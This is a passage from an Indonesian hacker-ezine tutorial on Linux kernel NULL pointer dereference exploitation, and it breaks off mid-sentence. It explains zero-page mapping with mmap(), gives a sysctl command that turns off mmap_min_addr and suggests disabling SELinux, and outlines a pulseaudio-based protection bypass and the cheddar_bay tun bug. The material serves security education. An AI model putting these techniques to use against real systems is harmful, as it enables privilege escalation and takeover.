.:: .: .:: .:::.:: .:: .:::: .:: .:: .:: .:: .: .:: .:: .: .: .:: .:: .:: .:: .:: .:: .: .:: .::::: .::.:: .:: .::.:: .:: .:: .:: .:: .::.::::: .:: .: .:: .: .:: .:: .:: .:: .:: .:: .::.: .:::: .:::.:: .:: .:: .::::::::.::.::: .:: .:::: ECHO MAGAZINE VOLUME VII, ISSUE XXI, PHILE 0x006.TXT Null Pointer Dereference: Theory, Bug, eksploit Ditulis oleh: Cyberheb < Cyberheb /et/ kecoak-elektronik \dot\ net > === // First Words \\=== Setelah tahun lalu bug Dan Kaminsky (bailiwicked dns attack) memunculkan buzz dimana-mana, menjelang akhir tahun ini sepertinya bug pada kernel Linux yang ramai dibicarakan oleh berbagai pihak. Beragam diskusi menarik seputar eksploitasi kernel linux dimulai semenjak Brad Spender merilis eksploit yang diberi nama "cheddar bay". Eksploit ini menguak beberapa hal penting yang mungkin bagi kalangan security / undergr0und sering disebut sebagai "0day technique", dan kemudian dibahas oleh para developer linux, salah satunya dapat dilihat pada LWN[1][2]. Eksploitasi pada kernel Linux ini memanfaatkan bug NULL Pointer Dereference, walaupun mungkin ada beberapa jenis bug lain yang juga menarik dan muncul ke permukaan akhir-akhir ini[3] namun pembahasan kita kali ini terbatas pada jenis bug Null Pointer Dereference. Pada artikel ini pembahasan akan dimulai dari teori awal hingga mekanisme eksploitasinya dan juga disertai dengan pembahasan singkat tentang public eksploit yang beberapa minggu terakhir ini banyak digunakan. Sebelumnya saya tekankan bahwa target sistem operasi pada pembahasan ini adalah Linux, yang berarti kernel dari sistem operasi berbasis Linux. Saat tulisan ini dibuat, versi stabil terakhir dari kernel linux adalah 2.6.30.5 (v2.6) dan 2.4.37.5 (v2.4). Seluruh contoh kode dalam artikel ini telah ditest sebelumnya menggunakan kernel 2.6.30.3 (distro: Gentoo Linux) dan kernel 2.6.5 (distro: SuSe 9 Enterprise). Penggunaan kernel dari tree 2.4 tidak dilakukan untuk mempersempit area diskusi artikel ini agar tidak melebar terlalu jauh, sehingga uji coba menggunakan kernel 2.4 akan diserahkan kepada pembaca :). === // Pointer & C \\=== Dalam bahasa pemrograman C, pointer merupakan suatu tipe data yang nilainya menunjuk lokasi dari suatu nilai dalam memory. Dua istilah penting yang harus dipahami terlebih dahulu adalah "Reference" dan "Dereference". Dalam suatu kode bahasa C: /* pointer_memory.c */ int main(int argc, char *argv[]) { char huruf; char *p; huruf = 'A'; p = &huruf; printf("Lokasi variabel huruf dalam memory: %p\n", p); printf("Isi dari variabel huruf adalah: %c\n", *(p)); return 0; } Pada contoh program diatas, huruf di-inisialisasi sebagai suatu variabel yang dapat menyimpan suatu data dalam memory, dalam hal ini tipe data yang dapat disimpan adalah 'char' (8 bit). Sedangkan "p" merupakan suatu variable dengan tipe data pointer. Program diatas akan memberikan nilai 'A' pada variable "huruf" dan memberikan alamat lokasi variable huruf dalam memory pada variable "p". Hal ini merupakan teori dasar dalam pemrograman bahasa C. $ gcc pointer_memory.c -o pointer_memory $ ./pointer_memory Lokasi variabel huruf dalam memory: 0xbffff3f7 Isi dari variabel huruf adalah: A Dari contoh diatas kita menggunakan variable "p" untuk men-reference dan men-dereference variable "huruf". Variable "p" men-reference lokasi variable "huruf" dalam memory yang nilainya adalah "0xbffff3f7", dan variable "p" men-dereference variable "huruf" yang nilainya adalah "A". ========================= | Memory | Nilai | ========================= 0xbffff3f7 | A | variable huruf <---+ 0xbffff3f0 | 0xbffff3f7 | variable p ---+ Reference / Dereference 0xaffff3e7 | | ========================= Ilustrasi diatas menunjukan lebih jelas bahwa variable "p" yang berlokasi di 0xbffff3f0 berisi data 0xbffff3f7 yang merupakan lokasi variable "huruf" dalam memory. Saya harap penjelasan singkat tersebut bisa menjelaskan makna "Reference" dan "Dereference" dari suatu tipe data pointer dalam bahasa C. Pemahaman ini sangat penting karena akan menjadi dasar pengetahuan hingga akhir artikel. Berikut ini contoh kode dalam bahasa C yang juga memainkan fungsi pointer: /* pointer_dereference.c */ #include int main(int argc, char *argv[]) { char *pointer; char array[5]; pointer = array; fprintf(stdout, "[+] pointer = array\n"); array[3] = 'A'; fprintf(stdout, "[+] array[3] = \'A\'\n"); fprintf(stdout, "[+] Pointer dereference *(pointer+3): %c\n",\ *(pointer+3)); return 0; } $ gcc pointer_dereference.c -o pointer_dereference && ./pointer_dereference [+] pointer = array [+] array[3] = 'A' [+] Pointer dereference *(pointer+3): A Program diatas menunjukan pointer dereference dari variable "array". Variable "array" merupakan suatu variable yang mengalokasikan data sebanyak 5 buah dengan tipe char ( 1 byte == 8 bit). Variable "pointer" akan men-reference kan lokasi variable "array" dalam memory, hal ini tergantung dari bagaimana kita men-reference kan lokasi variable array. Pada contoh diatas, variable "pointer" akan menunjuk pada lokasi data pertama variable "array" di-memory. Untuk mendapatkan data yang berada diposisi ketiga dalam variable array dapat memanfaatkan pointer dereference, syntax "*(pointer+3)" digunakan untuk kebutuhan tersebut. Angka tiga pada saat men-dereference variable pointer merupakan (3 * 1 byte) dari posisi awal variable array, proses ini tergantung pada inisialisasi variable pointer dimana pada program diatas bertipe "char" (1 byte). Jadi untuk mengakses data "A" diatas bisa melalui 2 cara, yaitu melalui variable array secara langsung ataupun melalui derefence dari suatu pointer. Dengan ini maka kita sepakat bahwa syntax berikut akan memberikan data yang sama, array[3] == *(pointer+3) ==> 'A' Good. Cukup tentang pointer, jika masih ada yang masih belum paham silahkan pelajari bahasa C dari beragam referensi di internet. === // NULL Pointer Dereference \\=== NULL adalah suatu tipe data dalam bahasa C yang menunjukan bahwa suatu nilai adalah 'kosong'. Nol (0) tidak sama dengan kosong, nol merupakan suatu nilai. NULL banyak dipergunakan untuk beragam keperluan, diantaranya sebagai acuan untuk mengakses suatu file dimana akhir dari suatu file di-set NULL, sehingga jika suatu program membaca file tersebut dan menemukan NULL maka program tersebut akan tahu bahwa sudah mencapai akhir dari file dan berhenti proses membaca. NULL banyak dipergunakan oleh proses yang menggunakan tipe data pointer, beberapa contoh yang paling mudah ditemukan adalah aplikasi linked-list. Ujung suatu list umumnya diset NULL, dan proses pada list tersebut akan mengetahui bahwa akhir suatu list telah ditemukan jika telah mencapai NULL. NULL pointer dereference adalah suatu kondisi dimana proses akan men-dereference suatu pointer yang bernilai NULL. Mari kita lihat 2 contoh sederhana berikut ini: /* #1. dereference_for_null.c */ #include int main(int argc, char *argv[]) { char huruf; char *pointer; huruf = NULL; pointer = &huruf; printf("Isi dari huruf adalah: %c\n", *(pointer)); return 0; } $ gcc dereference_for_null.c -o dereference_for_null && ./dereference_for_null Isi dari huruf adalah: --- /* #2. null_pointer_dereference.c */ #include int main(int argc, char *argv[]) { char *pointer; pointer = NULL; fprintf(stdout, "[+] pointer = NULL\n"); fprintf(stdout, "[+] Pointer\'s dereference *(pointer): \n"); fprintf(stdout, "%c", *(pointer)); return 0; } $ gcc null_pointer_dereference.c -o null_pointer_dereference $ ./null_pointer_dereference [+] pointer = NULL [+] Pointer's dereference *(pointer): Segmentation fault --- Pada contoh pertama, kita memberikan suatu nilai NULL kedalam suatu variable dan melakukan pointer dereference untuk mengakses data tersebut. Saat program dijalankan maka tidak memberikan hasil apapun, hal ini disebabkan NULL adalah 'kosong' dan ketika diakses hasilnya adalah...well, kosong :). Pada contoh kedua, terjadi suatu hal menarik. Program tersebut mendefinisikan suatu pointer sebagai NULL, dan apa yang terjadi ketika program tersebut berusaha untuk men-dereference NULL? "Segmentation fault". Segmentation fault adalah kondisi dimana sistem operasi akan men-terminate suatu aplikasi karena berusaha mengakses bagian terlarang dari memory. Kondisi ini bisa diakibatkan misalnya ketika suatu aplikasi hendak menulis lokasi dimemory yang telah diset sebagai "read only", atau berusaha mengakses (execute) bagian memory yang telah diset "read write". Segmentation fault pada NULL pointer dereference memiliki alasan yang bisa dikatakan sama, dan penjelasan mendetail akan diberikan pada sub-bagian berikutnya. Namun yang pasti pada tahap ini kita telah memahami bahwa NULL pointer dereference akan mengakibatkan segmentation fault dan membuat aplikasi di-terminate (berhenti) oleh sistem operasi. === // Zero Page Memory \\=== Setiap sistem operasi di desain berbeda dalam hal menangani NULL pointer dereference. Pada kernel Linux, sejak dahulu telah diketahui bahwa NULL pointer dereference akan mengacu pada lokasi zero page memory. Dengan kata lain, dereference NULL pointer akan mengacu pada lokasi 0x00000000. Memasuki tahap ini kita membutuhkan pengetahuan mengenai management memory pada sistem operasi khususnya Linux. Saya tidak akan memberikan penjelasan terlalu mendetail karena akan sangat luas sekali dan keluar dari konteks artikel, namun saya akan coba menjelaskan beberapa poin penting disini. Pada arsitektur intel diperkenalkan istilah virtual memory. Virtual memory digunakan karena saat x86 (8086?) baru keluar kapasitas memory yang bisa digunakan masih sangat terbatas, sehingga dibutuhkan suatu mekanisme oleh sistem operasi agar dapat mengalokasikan memory yang sangat terbatas tersebut untuk bisa digunakan oleh banyak program / proses. Oleh sebab itulah digunakan virtual memory dimana setiap proses akan merasa layaknya menggunakan physical memory, namun sesungguhnya memory tersebut hanyalah bentuk virtual yang diberikan oleh sistem operasi untuk kemudian dipetakan ke lokasi memory yang sesungguhnya. Management memory menggunakan istilah PAGE, yang merupakan satuan dalam operasi memory. Besar PAGE ini tidak sama antar arsitektur (intel, sparc, dll), namun untuk Linux yang berjalan diatas arsitektur x86 (intel) besar PAGE ini adalah 4KB (4,096 bytes). Suatu program (image, contohnya: ELF untuk Linux, .exe untuk Windows) akan di-load oleh sistem operasi kedalam virtual memory ini, besar area virtual memory ini menggunakan satuan PAGE dan ditentukan oleh sistem operasi. Setiap image akan memiliki informasi yang spesifik (header, code segment, data segment, stack segment, dll) dan tugas sistem operasi adalah mengalokasikan informasi tersebut kedalam virtual memory, selanjutnya processor akan membaca instruksi program satu per satu pada virtual memory untuk menjalankan perintah-perintah program tersebut. Processor mengakses physical memory melalui virtual memory dengan bantuan page table, dan semua ini adalah tanggung jawab sistem operasi untuk menyiapkan semuanya. Penjelasan lebih mendetail dapat mengacu pada artikel "The Linux Kernel"[4] bagian memory management. Jika misalnya suatu program dialokasikan memory sebesar 64KB dengan ukuran PAGE sebesar 4KB, maka program tersebut akan memiliki ilustrasi alokasi virtual memory sebagai berikut: /* Memory allocation untuk 32-bit */ ============ | Memory | ============ 0x00010000 | <----------- (PAGE * 64) 0x0000FFFF | <----------- (PAGE * 63) ... | 0x00001000 | <----------- (PAGE * 1) 0x00000000 | <----------- (PAGE * 0) / Zero Page Memory ============ Setiap proses / thread akan memiliki virtual memory-nya masing-masing, sehingga suatu proses tidak diperbolehkan mengakses virtual memory dari proses lain. Dalam sistem operasi Linux, sistem operasi akan mengatur apabila suatu aplikasi membutuhkan alokasi memory tambahan, hal ini biasanya dengan menggunakan syscall seperti mremap(2). Cukup tentang teori dasar virtual memory. Dari ilustrasi diatas kita bisa lihat bahwa lokasi 0x00000000 pada virtual memory yang dialokasikan untuk suatu proses disebut juga sebagai Zero Page Memory. Jika kita kembali pada masalah NULL pointer dereference diatas, maka NULL pointer akan menunjuk pada lokasi tersebut. Setiap alokasi memory yang diberikan oleh sistem operasi juga memiliki semacam hak akses, jadi telah ditentukan apakah memory page tersebut hanya boleh untuk dibaca (read), bisa di tulisi (write), bisa di eksekusi (execute), merupakan lokasi memory yang bisa digunakan oleh dua buah proses berbeda (shared), dan lain sebagainya. Zero Page Memory juga memiliki kriteria ini, itu sebabnya jika kita hendak mengakses begitu saja lokasi tersebut dimana telah diset hak akses tertentu maka akan terjadi "Segmentation fault". === // mmap() & mprotect() Linux memiliki beberapa jenis syscall yang berhubungan dengan memory management, diantaranya adalah mmap() dan mprotect(). Dari manual pages mmap(): --- SYNOPSIS #include void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); DESCRIPTION mmap() creates a new mapping in the virtual address space of the calling process. The starting address for the new mapping is specified in addr. The length argument specifies the length of the mapping. ... --- syscall mmap() digunakan untuk melakukan memory mapping suatu file ataupun object ke virtual memory. Jadi suatu proses dapat memanggil mmap dan kemudian melakukan maping suatu object/file ke suatu lokasi di memory, dan melakukan beragam aktifitas pada file/object tersebut melalui memory. Sebagaimana yang telah didefinisikan, mmap juga sekaligus memberikan informasi protocol dan flags dari page memory yang telah di-mapped. Data lengkap mengenai protocol apa saja ataupun flags apa saja yang bisa diberikan pada page tersebut bisa dibaca melalui manual page lengkap mmap. --- SYNOPSIS #include int mprotect(const void *addr, size_t len, int prot); DESCRIPTION mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary. --- syscall mprotect() digunakan untuk mengubah hak akses suatu memory page, misalnya suatu memory page memiliki hak akses "readonly" maka dengan menggunakan mprotect() kita dapat mengubah hak akses tersebut menjadi "read+write". Saat ini kalian mungkin sudah bisa menebak hubungan antara syscall mmap() / mprotect() dengan NULL pointer dereference?!yup, kita dapat mengubah hak akses pada zero page memory menggunakan mprotect() ataupun melakukan mapping dengan menggunakan mmap() dan memasukan nilai yang kita inginkan ke lokasi zero page memory. Mari kita lihat contoh kode berikut ini: /* zero_page_null_pointer_dereference.c */ #include #include #include int main(int argc, char *argv[]) { char *mem = NULL; char *pointer; /* Map lokasi memory NULL (zero page memory) */ mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, \ MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if ( mem != NULL) { fprintf(stdout, "[-] Zero page tidak bisa di-mapped: %s\n", \ strerror(errno)); return 1; } fprintf(stdout, "[+] Zero page berhasil di-mapped\n"); /* Assign lokasi NULL dengan karakter 'A' */ mem[0] = 'A'; fprintf(stdout, "[+] Assign mem[0] = 'A'\n"); pointer = NULL; fprintf(stdout, "[+] Assign pointer = NULL\n"); fprintf(stdout, "[+] NULL pointer\'s dereference *(pointer): %c\n", \ *(pointer)); return 0; } $ gcc zero_page_null_pointer_dereference.c -o zero_page_null_pointer_dereference $ ./zero_page_null_pointer_dereference [+] Zero page berhasil di-mapped [+] Assign mem[0] = 'A' [+] Assign pointer = NULL [+] NULL pointer's dereference *(pointer): A Program diatas jika dijalankan akan melakukan NULL pointer dereference seperti program sebelumnya, namun kali ini kita telah melakukan mapping dengan memanfaatkan syscall mmap() untuk memasukan karakter 'A' ke lokasi zero page memory. Dan ketika program diatas hendak melakukan NULL pointer dereference (melalui fungsi fprintf()) yang secara teori akan mengakses zero page memory, maka tidak akan terjadi segmentation fault dan justru sebaliknya program akan berjalan dengan baik dan menampilkan karakter 'A'. Sebelum melangkah lebih jauh, program diatas akan berhasil dijalankan secara langsung dengan kondisi kernel linux yang digunakan adalah versi < 2.6.23, jika kamu mengalami kegagalan dengan pesan "Zero page tidak bisa di-mapped: Permission denied" maka kemungkinan besar kernel yang digunakan adalah versi >= 2.6.23. Saya akan memberikan penjelasan mengenai penyebab kegagalan ini beberapa saat lagi, namun untuk kali ini kamu bisa melakukan perintah berikut (sebagai "root"): # sysctl -w vm.mmap_min_addr=0 setelah melakukan perintah diatas, maka normalnya zero page dapat di-mapped. Jika masih terdapat masalah, maka kemungkinan lain adalah sistem operasi yang digunakan memiliki settingan SELinux ataupun LSM (Linux Security Module) lainnya. Silahkan cari referensi untuk menon-aktifkan konfigurasi tersebut, yang pasti pada tahap ini kita hanya melakukan pembuktian bahwa kondisi NULL pointer dereference dapat di 'kontrol' melalui userland process. ===// Bug, Hacker, Developer \\=== Jika kita mencari melalui google[5] mengenai NULL pointer dereference, maka akan banyak sekali laporan tentang bug ini. Pada dasarnya bug tersebut adalah hal yang umum bagi programmer dimana penyebabnya adalah kekurangan proses checking dalam suatu aplikasi. Programmer yang baik biasanya akan melakukan beragam test case terhadap aplikasi miliknya, hal ini dilakukan untuk melihat sejauh mana aplikasi tersebut dapat menghandle berbagai situasi yang akan ditemukan pada saat digunakan oleh user. Namun biasanya disebabkan oleh aplikasi yang sangat kompleks, ataupun dikarenakan berbagai macam alasan lainnya bug jenis ini tidak dapat dihindari sekalipun oleh seorang programmer tingkat tinggi. Dan oleh para hacker, setiap bug terutama yang melibatkan memory corruption seperti ini selalu bisa dimanfaatkan untuk mengambil alih sistem. Hal sederhana telah kita lakukan sebelumnya dimana mmap() dapat digunakan untuk mengontrol lokasi zero page memory, dan oleh para hacker/cracker bidang security hal tersebut dijadikan sebagai pintu masuk untuk mendapatkan akses yang lebih tinggi (root?) ataupun merebut sistem. Mekanisme logisnya sederhana, kita bisa memasukan data apapun kedalam zero page memory (shellcode?), sisanya tinggal men-trigger NULL pointer dereference sehingga eksekusi akan menuju zero page memory, dan...sistem akan berada dibawah kendali kita. Pada sistem komputer (khususnya intel) terdapat mekanisme untuk memisahkan antara kernel process dan userland process. Intel memperkenalkan mekanisme ini melalui istilah-istilah seperti 'protected mode' ataupun 'ring'. Intinya, dalam hal pembagian resource akan dilakukan pemisahan antara kernel process dan user process. Sehingga alokasi memory misalnya, antara kernel dan user process dilakukan pemisahan hingga level physical memory secara eksplisit. Dengan mekanisme ini resource dari user process tidak akan pernah bisa dicampur aduk dengan resource dari kernel process, hal ini akan meningkatkan security sistem komputer. Dari sisi CPU, terdapat mekanisme privilege rings dalam protected mode. CPU harus masuk ke "Ring 0" ketika menjalankan instruksi kernel, "Ring 1 / Ring 2" ketika menjalankan instruksi device drivers, dan "Ring 3" ketika menjalankan instruksi userland process. NULL pointer dereference jika terjadi pada user process mungkin tidak akan terlalu berbahaya karena seperti yang telah dibahas sebelumnya, zero page yang di-kontrol hanya sebatas zero page untuk process user. Namun jika bug NULL pointer dereference terdapat pada kernel maka kita dapat mengambil alih sistem secara penuh. Inilah yang menjadikan bug NULL pointer dereference berbahaya. Bug NULL pointer dereference bisa terjadi pada setiap sistem operasi (Windows, FreeBSD, OpenBSD, Linux, Solaris, dll), namun setiap sistem operasi memiliki strategi masing-masing dalam hal memory management, sehingga eksploitasi terhadap NULL pointer dereference pada satu sistem operasi tidak bisa di implementasikan begitu saja pada sistem operasi lainnya. Pada tahap inilah kita biasa mendengar bahwa suatu sistem operasi di klaim memiliki tingkat security yang jauh lebih baik dibandingkan sistem operasi lainnya. Sehingga tidak salah jika Theo de Raadt sang founder/developer OpenBSD sering menyombongkan bahwa OpenBSD adalah sistem operasi paling aman dan paling sulit untuk di-eksploitasi :). Kembali ke Linux, kernel 2.4 dan 2.6 sendiri memiliki mekanisme yang cukup berbeda pada beberapa bagian terutama memory management. Secara teknikal, NULL pointer dereference dari bug kernel akan lebih sulit untuk di-eksploitasi pada kernel 2.4 dibandingkan kernel 2.6 (linus mengorbankan security untuk performa dan feature yang akan bisa diusung oleh kernel 2.6), namun dikarenakan bug NULL pointer dereference sangat banyak maka developer kernel Linux menambahkan feature sysctl mmap_min_addr untuk Virtual Memori (vm) sejak kernel 2.6.23, fungsi dari feature ini adalah untuk me-limit mapping terhadap zero page memory oleh user process yang biasanya digunakan oleh para hacker/cracker untuk mengambil alih sistem saat memanfaatkan bug NULL pointer dereference. Feature ini cukup sederhana, kita bisa mendefinisikan sendiri lokasi minimum yang bisa digunakan oleh mmap() untuk proses mapping, jadi jika kita definisikan mmap_min_addr (yang juga bisa dilihat secara langsung dari file /proc/sys/kernel/mmap_min_addr) dengan nilai 64KB (65,536 bytes) maka aplikasi user / user process tidak akan diperbolehkan menggunakan mmap() untuk mapping lokasi antara 0 hingga 64KB. # sysctl -w vm.mmap_min_addr=65536 vm.mmap_min_addr = 65536 Feature ini terbukti dapat mempersulit eksploitasi NULL pointer dereference yang memanfaatkan trik mmap(). ===// Bypass mmap() protection \\=== Para hacker bidang security terus mecari cara untuk melakukan eksploitasi terhadap bug NULL pointer dereference, ada beberapa metode yang bisa digunakan untuk dapat mengakses zero page memory seperti yang di-presentasikan oleh Gael Delalleau[6] pada CanSecWest 2005. Pada presentasi tersebut Gael memaparkan implementasi memory allocation Linux serta beberapa sistem operasi lain, dan memaparkan berbagai kemungkin yang bisa digunakan untuk mengontrol zero page memory. Cara tidak langsung (indirect) misalnya dengan memanfaatkan OOM (Out Of Memory) yang secara paksa melakukan alokasi heap besar-besaran sehingga pada satu titik alokasi heap akan mengisi zero page memory. Julien Tinnes dan Tavis Ormandy dari Google Security Team melakukan research dan menghasilkan metode-metode untuk bypass proteksi terhadap bug Linux NULL pointer dereference. Salah satu metodenya ditulis pada blog julien[7]. Sebagaimana yang tertulis pada blog tersebut, mereka mencoba beragam cara namun hampir semua masih bisa ditangani dengan baik oleh LSM (Linux Security Module), yang notabene merupakan feature tambahan pada kernel Linux untuk security dan salah satu tugasnya adalah melakukan pengecekan terhadap feature mmap_min_addr. Ada dua hal penting yang mereka dapatkan untuk bisa melakukan mapping pada zero page memory berdasarkan analisis kode kernel linux (2.6.30), yang pertama adalah trik personality. # cat linux/fs/binfmt_elf.c ... 976 if (current->personality & MMAP_PAGE_ZERO) { 977 /* Why this, you ask??? Well SVr4 maps page 0 as read-only, 978 and some applications "depend" upon this behavior. 979 Since we do not have the power to recompile these, we 980 emulate the SVr4 behavior. Sigh. */ 981 down_write(¤t->mm->mmap_sem); 982 error = do_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC, 983 MAP_FIXED | MAP_PRIVATE, 0); 984 up_write(¤t->mm->mmap_sem); ... Linux menggunakan personality untuk melayani aplikasi user, dan pelayanan dalam hal ini adalah linux mendukung lingkungan unix-like variant bagi aplikasi yang membutuhkan lingkungan tersebut. Gunananya apa?! tentu saja agar aplikasi-aplikasi yang semula dibuat untuk lingkungan non-linux namun masih termasuk unix-like variant bisa berjalan diatas linux. Diantara personality yang didukung adalah SVr4. Jika kita set suatu proses untuk menggunakan personality SVr4, maka kode diatas akan dijalankan. Dan dapat kita lihat secara gamblang dari komentar developer untuk kode diatas bahwa sistem SVr4 melakukan mapping zero page dengan protocol read-only (PROT_READ), dan beberapa aplikasi membutuhkan kondisi tersebut sehingga ketika suatu proses di-set untuk menggunakan personality SVr4 secara otomatis kernel linux akan melakukan mapping zero page dengan protocol read-only. Namun personality SVr4 tidak dapat melawan aturan feature security check LSM. Trik diatas akan digagalkan oleh LSM, seperti apakah aturan LSM untuk default security check pada linux dalam hal pemanggilan fungsi mmap()? Security check dilakukan oleh cap_file_mmap, dimana kode internalnya bisa dilihat pada "security/capability.c" (kernel 2.6): # cat security/capability.c ... 333 static int cap_file_mmap(struct file *file, unsigned long reqprot, 334 unsigned long prot, unsigned long flags, 335 unsigned long addr, unsigned long addr_only) 336 { 337 if ((addr < mmap_min_addr) && !capable(CAP_SYS_RAWIO)) 338 return -EACCES; 339 return 0; 340 } ... File capability.c berisi default security module pada kernel linux jika tidak ada module lain yang di-load untuk melindungi kernel (mis: SELinux). Fungsi cap_file_mmap diatas akan mengatur proses mapping file dengan menggunakan syscall mmap(). Dan seperti yang tertulis jelas pada kode tersebut, jika "addr" yang dialokasikan nilainya kurang dari "mmap_min_addr" dan "tidak memiliki capability CAP_SYS_RAWIO" maka return value-nya adalah "-EACCESS". Pada contoh program sebelumnya telah kita lihat bahwa restriction ini akan memberikan pesan error "permission denied" (mmap_min_addr di-set lebih dari nol). Jadi, secara logika suatu proses dengan "CAP_SYS_RAWIO" bisa mem-bypass fungsi diatas dan diperbolehkan untuk melakukan mapping zero page memory walaupun "mmap_min_addr" di-set lebih besar dari nol. # cat include/linux/capability.h: ... 234 /* Allow ioperm/iopl access */ 235 /* Allow sending USB messages to any device via /proc/bus/usb */ 236 237 #define CAP_SYS_RAWIO 17 ... Berdasarkan capability di Linux, proses yang memiliki "CAP_SYS_RAWIO" diperbolehkan untuk mengakses ioperm/iopl yang dalam hal ini setaraf dengan hak akses "root". Sehingga kita membutuhkan suatu binary yang didalamnya memanggil fungsi setuid root sebelum dijalankan. Julien dan Taviso menemukan pulseaudio. Pulseaudio melakukan setuid root ketika dijalankan untuk kemudian me-load library yang dibutuhkan melalui parameter "-L". Dan ini adalah aplikasi yang sempurna untuk dapat mem-bypass default security diatas. Dengan memanfaatkan pulseaudio, kita dapat membuat suatu kode yang melakukan set personality menjadi SVr4, kemudian memanggil pulseaudio untuk me-load suatu module. Saat menjalankan pulseaudio, secara otomatis page 0 akan di map dan tentu saja akan berhasil karena pulseaudio telah memiliki akses root sehingga cap_file_mmap akan meloloskan hal tersebut. Module yang diload oleh pulseaudio pun bisa kita kontrol, dalam hal ini modul tersebut berisi eksploit yang didalamnya bisa melakukan beragam hal, diantaranya melakukan mprotect() untuk mengubah protocol pada page 0 agar bisa read+write+execute (jangan lupa, SVr4 hanya memberikan akses read+execute). Selanjutnya page 0 dapat kita tulisi dengan beragam hal seperti shellcode, sisanya adalah mencari aplikasi yang vulnerable terhadap NULL pointer dereference dan membawa eksekusi ke page 0 untuk kemudian menjalankan shellcode tersebut. Game over. Metode diatas adalah satu dari beragam metode yang digunakan untuk mengontrol page 0 dan terbukti bisa mem-bypass restriction pada kernel linux yang memanfaatkan feature "mmap_min_addr". ===// LSM \\=== Pada pembahasan diatas beberapa kali disebutkan tentang LSM. Linux Security Module (LSM) merupakan suatu framework yang dimiliki oleh kernel linux untuk mendukung implementasi security pada kernel linux tanpa memprioritaskan implementasi dari satu pihak tertentu. Pada tahun 2001 di Linux Kernel Summit, NSA memberikan proposal SELinux untuk dimasukan kedalam kernel Linux namun Linus Torvalds menolak hal tersebut dengan alasan ada beragam pendekatan security yang kala itu muncul ke permukaan namun saling tercerai berai[8]. Linus mengatakan bahwa komunitas security seharusnya memiliki standarisasi tersendiri untuk mendukung security dalam kernel linux dan tidak saling tercerai berai agar bisa dimasukan kedalam kernel linux. Sejak saat itu terbentuk komunitas LSM untuk pengembangan framework tersebut. Dan akhirnya LSM diterima untuk kemudian dimasukan pada kernel 2.6 tahun 2003. LSM merupakan suatu framework, dan produknya berupa modul seperti AppArmor, SELinux, dan TOMOYO Linux. Namun pada perjalanannya SELinux merupakan produk paling banyak digunakan dan paling aktif pengembangannya sehingga seakan-akan LSM == SELinux. Produk security untuk kernel linux yang juga sangat populer adalah grsecurity/pax. Grsecurity/PaX tidak termasuk dalam LSM karena menggunakan pendekatan yang berbeda untuk meningkatkan security pada kernel Linux. Oleh karena itu hingga saat ini Grsecurity/PaX merupakan project independent yang tetap banyak digunakan oleh beragam distro (mis: Gentoo Hardened) namun terpisah dari LSM, sehingga implementasinya menggunakan mekanisme patch secara manual terhadap kernel Linux. ===// Cheddar Bay \\=== Brad Spender, sang developer grsecurity pada tanggal 17 July 2009 merilis eksploit yang diberi kode cheddar_bay kepada public, salah satunya ke milis full-disclosure[9]. Pada saat itu baru saja beredar bug null ptr dereference untuk device driver tun. Bug tersebut[10] yang merupakan patch tambahan dari Herbert Xu jika dilihat secara langsung pada source kode kernel tidak akan kelihatan karena telah dilakukan pengecekan terhadap null pointer dereference, namun ternyata ada fakta lain yang cukup mengejutkan yaitu masalah optimisasi oleh compiler, dalam hal ini gcc. gcc melakukan optimisasi terhadap kode pada driver tun dengan menganggap bahwa pengecekan pada kode tersebut terhadap null pointer dereference tidak diperlukan. Berikut ini contoh kodenya (hasil patch dari Herbert Xu untuk tun_chr_poll ya dimasukan ke kernel 2.6.30): # cat drivers/net/tun.c ... 485 static unsigned int tun_chr_poll(struct file *file, poll_table * wait) 486 { 487 struct tun_file *tfile = file->private_data; 488 struct tun_struct *tun = __tun_get(tfile); 489 struct sock *sk = tun->sk; 490 unsigned int mask = 0; 491 492 if (!tun) 493 return POLLERR; 494 495 DBG(KERN_INFO "%s: tun_chr_poll\n", tun->dev->name); 496 497 poll_wait(file, &tun->socket.wait, wait); 498 499 if (!skb_queue_empty(&tun->readq)) 500 mask |= POLLIN | POLLRDNORM; 501 502 if (sock_writeable(sk) || 503 (!test_and_set_bit(SOCK_ASYNC_NOSPACE, &sk->sk_socket->flags) \ 504 && sock_writeable(sk))) 505 mask |= POLLOUT | POLLWRNORM; 506 507 if (tun->dev->reg_state != NETREG_REGISTERED) 508 mask = POLLERR; 509 510 tun_put(tun); 511 return mask; 512 } ... Pada baris 489 variable pointer sk di-definisikan sekaligus di inisialisasikan dengan tun->sk, variable pointer tun sendiri didefinisikan sekaligus di insisialisasikan dengan nilai dari fungsi __tun_get (baris 488) dengan input dari tfile. Pada baris 492 dilakukan pengecekan terhadap variable pointer tun apakah bernilai NULL. Jika memang NULL, maka tun_chr_poll tidak akan dilanjutkan dan keluar dari fungsi tersebut. Dalam hal ini, source kode diatas tidak bermasalah dengan NULL ptr dereference. Namun pada saat di-compile, gcc melakukan optimisasi dan menghilangkan bagian pengecekan dibaris 492 tersebut, alasannya karena pada baris 489 variable pointer tun telah di-dereference sehingga sudah pasti nilainya tidak NULL, jadi pengecekan dihapus untuk menjadikan hasil compile lebih optimum. Hasilnya? tentu saja jika tun bernilai NULL maka tidak akan ada pengecekan dan fungsi diatas beresiko terkena bug NULL pointer dereference. Permasalahan ini kemudian menjadi salah satu topik yang didiskusikan diantara para developer sehingga mereka kemudian sepakat untuk menghilangkan opsi optimisasi terhadap null pointer ketika melakukan kompilasi kernel. Patch pun di-merge untuk kode diatas[11]. Bug tun inilah yang kemudian digunakan oleh spender untuk di-eksploitasi menggunakan cheddar_bay. Eksploit cheddar_bay ternyata menguak beberapa trik eksploitasi null ptr dereference yang mungkin selama ini menjadi rahasia underground. At least, itu adalah klaim Brad Spander seperti yang tertulis lengkap pada source kode cheddar_bay. Cheddar_bay juga memasukan feature untuk men-non aktifkan beragam LSM yang mungkin diaktifkan oleh target (AppArmor, Auditing, LSM). Namun secara khusus kita bisa mengatakan bahwa cheddar_bay menyerang implementasi SELinux yang seharusnya menjadi pelindung kernel terhadap serangan eksploit. Spender membuktikan dengan cheddar_bay bahwa mengaktifkan SELinux justru malah menambah resiko serangan terhadap bug null pointer dereference menjadi lebih besar. Belakangan Dan Walsh[12] juga ikut menambahkan kegagalan SELinux dalam hal melindungi kernel 